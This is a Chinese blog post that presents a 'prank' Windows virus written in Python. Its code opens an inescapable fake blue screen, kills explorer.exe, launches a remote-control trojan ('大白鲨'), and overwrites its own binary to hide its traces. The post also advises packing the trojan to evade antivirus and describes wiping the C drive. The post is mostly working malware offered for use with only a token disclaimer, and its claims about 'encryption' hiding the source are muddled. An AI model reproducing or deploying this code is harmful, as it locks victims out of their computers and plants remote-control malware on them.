Python3.7写个小病毒~(纯属基友恶搞)

上上次的病毒文发现很火呢~这次我又来写了。
这次,超牛掰的哦~

病毒描述:

运行后一会儿蓝屏(假蓝屏,无法退出,Win10致命!连开始菜单也打开不了!),并且第一次运行会删光C盘所有文件(系统文件除外)!并且,还会自动放置“大白鲨”马,实现远程控制。

病毒现象:

中毒者:
C盘全删完,电脑没法用,杀软全没了,电脑都废了。
操控者:
肉鸡到手了,控制开始了,键盘停不下来了,开心地要死了。

病毒传播方式

可通过社交、社会工程学、网站、注入等方式传播。
可自我繁殖。

代码送上

就直接送代码了,很简单,学学,不过主要是,此病毒只供参考,不作为任何非法用途。(我送上代码的版本不支持自我繁殖,并且不会清C盘。这是因为我想保密我的code)
全部Py代码,别激动哦~

# tiantian520制作
# 病毒只作为参考使用,请勿用于非法用途
# 此病毒造成的一切损失,本人并不负责。
import tkinter as tk #给Py小白的注释:别忘了调用tkinter
from subprocess import run #命令执行模块


def bluescreen():
    root = tk.Tk()     #窗口
    root.attributes('-fullscreen', True)  # 全屏
    root.wm_attributes('-topmost', True)  # 置顶
    frame = tk.Frame(root, bg='darkblue') #设置颜色
    frame.pack(fill='both', expand=True)
    return root

def close_explorer():
    run('taskkill /F /IM explorer.exe') #终止资源管理器进程


if __name__ == '__main__':      #主函数
    root = bluescreen()
    close_explorer()
    root.mainloop()    #循环
#蓝屏界面大致完成,你可以添加模块使其更逼真
#现在,我们来放马了
#在这之前要注意:请将大白鲨这个马加壳和免杀,以免在病毒执行前被杀软杀
#好的,你只需要将大白鲨的木马放入这个文件夹下,就可以了。
import os
#os.getcwd() 获取当前路径
run(os.getcwd()+"abc.exe") #大白鲨木马的名字,我这里是abc.exe
# 病毒大致结束,最后,我们要干一件事:封印本病毒,让其查不到源头
# 我采用了二进制加密法,加密后,程序失效,即可让源头消失,即杀软无法找到病毒特征码。就不会泄露行踪
filename='bd.exe' #病毒文件名

import hashlib
def get_sha1(f):
    xd=open(filename,'rb').read() #以读二进制的方式打开
    gys=xd
    sha1 = hashlib.sha1(gys)  #加密
    osv=sha1.hexdigest() 
    print(osv)
    bx=bytes(osv,encoding='utf-8')    #转换类型
    with open(filename,'wb') as f: #以二进制写类型打开
        f.write(bx)   #写入文件
get_sha1('')
# 这样,病毒就被加密了,杀软就不会找到源头,我们的行踪就隐藏了。


    

白白

代码就分享这么多,其实很简单,有问题可以在评论区留言哈!
此病毒版本我在Windows XP、Windows 7、Windows 10虚拟机里试过,完美。其他系统不知道行不行。
此病毒只支持Win,其他不行
打包安装pyinstaller,pyinstaller -F -i 图标 路径

你可能感兴趣的:(Python3.7黑帽编程系列)